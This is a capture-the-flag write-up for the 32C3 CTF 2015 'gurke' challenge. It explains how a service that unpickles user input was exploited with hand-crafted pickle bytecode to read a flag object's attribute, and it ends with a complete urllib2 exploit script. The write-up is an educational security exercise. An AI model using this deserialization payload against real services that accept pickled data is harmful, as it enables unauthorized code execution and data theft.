# 32C3 CTF 2015 : gurke

**Category:** Misc
**Points:** 300
**Solves:** 111

> Non-standard [gurke](./gurke): <https://32c3ctf.ccc.ac/uploads/gurke> Talk to it via HTTP on <>.

## Write-up

by [m1ghtym0](https://github.com/m1ghtym0)

"It's not a standard gurke" is quite accurate.
First it creates a flag object, which contains the flag in the "flag" attribute.
Then it establishes a syscall-filter which is quite restrictive.
Finally it does what we were looking for: A pickle.load with user supplied data:

data = os.read(0, 4096)
res = pickle.loads(data)
print 'res: %r\n' % res
except Exception as e:
print >>sys.stderr, "exception", repr(e)

However the syscall-filter prevents us from suppling a pickled object with a malicious
__reduce__ function, instead we have to get hold of the "flag" object's flag attribute.

Therefore we have to write a little pickle bytecode:


Which is based on the opcode overview found here:

The pickle interpreter works stack-based and the code above does the following (pseudocode):

push inspect.getmembers
push __main__.flag
pop func
pop arg
push (func, arg)
call func(arg)

Which basically calls inspect.getmembers(flag).
The output will include the flag attribute and it's value.

The complete exploit:

import urllib, urllib2
import re
url = ''
# pickle bytecode
# c:module:function pushes object on the stack
# (: push mark object
# t: pop two top most stack elements + create tuple of them + push tuple
# R: call callable top most stack element
# .: rerturn
req = urllib2.Request(url, data="cinspect\ngetmembers\n(c__main__\nflag\ntR.\n", headers={'Content-type': 'application/python-pickle'})
response = urllib2.urlopen(req)
the_page = response.read()
flag = re.findall("32c3_.{25}", the_page)[0]
print "flag: " + flag

## Other write-ups and resources

* <https://github.com/p4-team/ctf/tree/master/2015-12-27-32c3/gurke_misc_300#eng-version>
* <http://blukat29.github.io/2015/12/32c3ctf-gurke/>
* <https://github.com/krx/CTF-Writeups/tree/master/32C3%202015/misc300%20-%20gurke>
* <http://nopat.ch/2015/12/29/32c3ctf-misc-gurke/>
* <http://katc.hateblo.jp/entry/2015/12/30/154329>
* <https://irq5.io/2015/12/30/32c3-ctf-write-up-gurke/>
* <http://nandynarwhals.org/2015/12/31/32c3ctf-gurke-misc-300/>
* <http://v0ids3curity.blogspot.in/2015/12/32c3-ctf-misc-300-gurke.html?m=0>
* [Japanese](http://blog.objc.jp/?p=2294)
* <http://pastebin.com/JikU89uJ>
* <http://pastebin.com/VUkfxYyP>

Original writeup (https://github.com/ctfs/write-ups-2015/tree/master/32c3-ctf-2015/misc/gurke-300).